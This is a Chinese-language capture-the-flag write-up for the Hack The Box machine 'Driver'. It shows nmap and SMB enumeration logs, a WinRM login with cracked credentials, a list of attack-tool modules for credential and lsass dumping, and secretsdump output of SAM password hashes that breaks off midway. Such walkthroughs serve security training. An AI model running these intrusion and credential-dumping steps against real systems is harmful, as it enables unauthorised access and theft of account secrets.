Driver 是一台简单的 Windows 机器，专注于打印机开发。对机器的枚举显示，Web 服务器正在监听端口 80，同时 SMB 正在监听端口 445，WinRM 正在监听端口 5985。导航到该网站显示，它使用基本 HTTP 身份验证受到保护。在尝试常用凭据时，admin:admin 凭据被接受，因此我们能够访问该网页。该网页提供了一项功能，可以将打印机固件上传到 SMB 共享上，以供远程团队进行测试和验证。上传包含从本地机器获取远程文件的命令的 Shell 命令文件会导致用户 tony 的 NTLM 哈希被转发回给我们。破解捕获的哈希以检索纯文本密码，我们能够使用 WinRM 以 tony 身份登录。然后，切换到 meterpreter 会话，发现该机器容易受到本地特权攻击，该攻击会滥用远程机器上存在的特定打印机驱动程序。利用该漏洞，我们可以获得“NT AUTHORITY\SYSTEM”身份的会话。
渗透过程：
初始侦察：
nmap端口扫描
1 2 3 4 5 6 7 8 9 10 11 12
┌──(kali㉿kali)-[~/HackTheBox/Driver] └─$ sudo nmap -sT --min-rate 10000 -p- 10.129.40.36 -oA nmapscan/ports Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-13 07:49 EDT Nmap scan report for loaclhost (10.129.40.36) Host is up (0.13s latency). Not shown: 65531 filtered tcp ports (no-response) PORT STATE SERVICE 80/tcp open http 135/tcp open msrpc 445/tcp open microsoft-ds 5985/tcp open wsman Nmap done: 1 IP address (1 host up) scanned in 33.78 seconds
┌──(kali㉿kali)-[~/HackTheBox/Driver] └─$ sudo nmap -sT -sV -sC -O -p80,135,445,5985 10.129.40.36 -oA nmapscan/detail Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-13 07:59 EDT Nmap scan report for loaclhost (10.129.40.36) Host is up (0.12s latency). PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 |_http-title: Site doesn\'t have a title (text/html; charset=UTF-8). | http-methods: |_ Potentially risky methods: TRACE | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Basic realm=MFP Firmware Update Center. Please enter password for admin 135/tcp open msrpc Microsoft Windows RPC 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|phone Running (JUST GUESSING): Microsoft Windows 2008|Phone (87%) OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows Aggressive OS guesses: Microsoft Windows Server 2008 R2 (87%), Microsoft Windows 8.1 Update 1 (85%), Microsoft Windows Phone 7.5 or 8.0 (85%) No exact OS matches for host (test conditions non-ideal). Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_clock-skew: mean: 1h16m36s, deviation: 0s, median: 1h16m35s | smb2-security-mode: | 3:1:1: |_ Message signing enabled but not required | smb2-time: | date: 2024-05-13T13:16:07 |_ start_date: 2024-05-13T13:00:10 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 54.97 seconds
开放了四个端⼝，有信息的语句是“Basic realm=MFP Firmware Update Center. Please enter password for admin”，其中也提到了⽤户名admin。
┌──(kali㉿kali)-[~/HackTheBox/Driver] └─$ sudo nmap --script=vuln -p80,135,445,5985 10.129.40.36 -oA nmapscan/vuln [sudo] password for kali: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-13 07:59 EDT Pre-scan script results: | broadcast-avahi-dos: | Discovered hosts: | 224.0.0.251 | After NULL UDP avahi packet DoS (CVE-2011-1002). |_ Hosts are all up (not vulnerable). Nmap scan report for loaclhost (10.129.40.36) Host is up (0.081s latency). PORT STATE SERVICE 80/tcp open http |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. |_http-csrf: Couldn't find any CSRF vulnerabilities. 135/tcp open msrpc 445/tcp open microsoft-ds 5985/tcp open wsman Host script results: |_samba-vuln-cve-2012-1182: No accounts left to try |_smb-vuln-ms10-054: false |_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED Nmap done: 1 IP address (1 host up) scanned in 488.23 seconds
┌──(kali㉿kali)-[~/RedteamNotes/aptlabs] └─$ enum4linux-ng driver.htb ENUM4LINUX - next generation (v1.3.3) ========================== | Target Information | ========================== [*] Target ........... driver.htb [*] Username ......... '' [*] Random Username .. 'mvwarusw' [*] Password ......... '' [*] Timeout .......... 5 second(s) =================================== | Listener Scan on driver.htb | =================================== [*] Checking LDAP [-] Could not connect to LDAP on 389/tcp: timed out [*] Checking LDAPS [-] Could not connect to LDAPS on 636/tcp: timed out [*] Checking SMB [+] SMB is accessible on 445/tcp [*] Checking SMB over NetBIOS [-] Could not connect to SMB over NetBIOS on 139/tcp: timed out ========================================================= | NetBIOS Names and Workgroup/Domain for driver.htb | ========================================================= [-] Could not get NetBIOS names information via 'nmblookup': timed out ======================================= | SMB Dialect Check on driver.htb | ======================================= [*] Trying on 445/tcp [+] Supported dialects and settings: Supported dialects: SMB 1.0: true SMB 2.02: true SMB 2.1: true SMB 3.0: true SMB 3.1.1: true Preferred dialect: SMB 3.0 SMB1 only: false SMB signing required: false ========================================================= | Domain Information via SMB session for driver.htb | ========================================================= [*] Enumerating via unauthenticated SMB session on 445/tcp [+] Found domain information via SMB NetBIOS computer name: DRIVER NetBIOS domain name: '' DNS domain: DRIVER FQDN: DRIVER Derived membership: workgroup member Derived domain: unknown ======================================= | RPC Session Check on driver.htb | ======================================= [*] Check for null session [-] Could not establish null session: STATUS_ACCESS_DENIED [*] Check for random user [-] Could not establish random user session: STATUS_LOGON_FAILURE [-] Sessions failed, neither null nor user sessions were possible ============================================= | OS Information via RPC for driver.htb | ============================================= [*] Enumerating via unauthenticated SMB session on 445/tcp [+] Found OS information via SMB [*] Enumerating via 'srvinfo' [-] Skipping 'srvinfo' run, not possible with provided credentials [+] After merging OS information we have the following result: OS: Windows 10 Enterprise 10240 OS version: '10.0' OS release: '1507' OS build: '10240' Native OS: Windows 10 Enterprise 10240 Native LAN manager: Windows 10 Enterprise 6.3 Platform id: null Server type: null Server type string: null [!] Aborting remainder of tests since sessions failed, rerun with valid credentials Completed after 37.96 seconds
┌──(kali㉿kali)-[~/aptlabs] └─$ sudo nxc smb -L | grep slinky [*] slinky Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions
┌──(kali㉿kali)-[~/HackTheBox/Driver] └─$ sudo evil-winrm -i driver.htb -u tony -p liltony Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
┌──(kali㉿kali)-[~/aptlabs] └─$ sudo nxc smb -L LOW PRIVILEGE MODULES [*] add-computer Adds or deletes a domain computer [*] dfscoerce Module to check if the DC is vulnerable to DFSCocerc, credit to @filip_dragovic/@Wh04m1001 and @topotam [*] drop-sc Drop a searchConnector-ms file on each writable share [*] enum_av Gathers information on all endpoint protection solutions installed on the the remote host(s) via LsarLookupNames (no privilege needed) [*] gpp_autologin Searches the domain controller for registry.xml to find autologon information and returns the username and password. [*] gpp_password Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. [*] ioxidresolver This module helps you to identify hosts that have additional active interfaces [*] ms17-010 MS17-010 - EternalBlue - NOT TESTED OUTSIDE LAB ENVIRONMENT [*] nopac Check if the DC is vulnerable to CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user [*] petitpotam Module to check if the DC is vulnerable to PetitPotam, credit to @topotam [*] printnightmare Check if host vulnerable to printnightmare [*] scuffy Creates and dumps an arbitrary .scf file with the icon property containing a UNC path to the declared SMB server against all writeable shares [*] shadowcoerce Module to check if the target is vulnerable to ShadowCoerce, credit to @Shutdown and @topotam [*] slinky Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions [*] spider_plus List files recursively and save a JSON sharefile metadata to the 'OUTPUT_FOLDER'. See module options for finer configuration. [*] spooler Detect ifprint spooler is enabled or not [*] webdav Checks whether the WebClient service is running on the target [*] zerologon Module to check if the DC is vulnerable to Zerologon aka CVE-2020-1472 HIGH PRIVILEGE MODULES (requires admin privs) [*] bh_owned Set pwned computer as owned in Bloodhound [*] empire_exec Uses Empire's RESTful API to generate a launcher for the specified listener and executes it [*] enum_dns Uses WMI to dump DNS from an AD DNS Server [*] firefox Dump credentials from Firefox [*] get_netconnections Uses WMI to query network connections. [*] handlekatz Get lsass dump using handlekatz64 and parse the result with pypykatz [*] hash_spider Dump lsass recursively from a given hash using BH to find local admins [*] iis Checks for credentials in IIS Application Pool configuration files using appcmd.exe [*] impersonate List and impersonate tokens to run command as locally logged on users [*] install_elevated Checks for AlwaysInstallElevated [*] keepass_discover Search for KeePass-related files and process. [*] keepass_trigger Set up a malicious KeePass trigger to export the database in cleartext. [*] lsassy Dump lsass and parse the result remotely with lsassy [*] masky Remotely dump domain user credentials via an ADCS and a KDC [*] met_inject Downloads the Meterpreter stager and injects it into memory [*] msol Dump MSOL cleartext password from the localDB on the Azure AD-Connect Server [*] nanodump Get lsass dump using nanodump and parse the result with pypykatz [*] ntdsutil Dump NTDS with ntdsutil [*] ntlmv1 Detect if lmcompatibilitylevel on the target is set to 0 or 1 [*] pi Run command as logged on users via Process Injection [*] procdump Get lsass dump using procdump64 and parse the result with pypykatz [*] rdcman Remotely dump Remote Desktop Connection Manager (sysinternals) credentials [*] rdp Enables/Disables RDP [*] reg-query Performs a registry query on the machine [*] runasppl Check if the registry value RunAsPPL is set or not [*] schtask_as Remotely execute a scheduled task as a logged on user [*] teams_localdb Retrieves the cleartext ssoauthcookie from the local Microsoft Teams database, if teams is open we kill all Teams process [*] test_connection Pings a host [*] uac Checks UAC status [*] veeam Extracts credentials from local Veeam SQL Database [*] wcc Check various security configuration items on Windows machines [*] wdigest Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1 [*] web_delivery Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module [*] wifi Get key of all wireless interfaces [*] winscp Looks for WinSCP.ini files in the registry and default locations and tries to extract credentials.
┌──(kali㉿kali)-[~/HackTheBox/Driver] └─$ sudo impacket-secretsdump ' test:20031216abcD'@driver.htb [sudo] password for kali: Impacket v0.12.0.dev1 - Copyright 2023 Fortra [*] Service RemoteRegistry is in stopped state [*] Service RemoteRegistry is disabled, enabling it [*] Starting service RemoteRegistry [*] Target system bootKey: 0xe5b3cda034afd685bc69ccd3c4e9387c [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:d1256cff8b5b5fdb8c327d3b6c3f5017::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0 . . . .
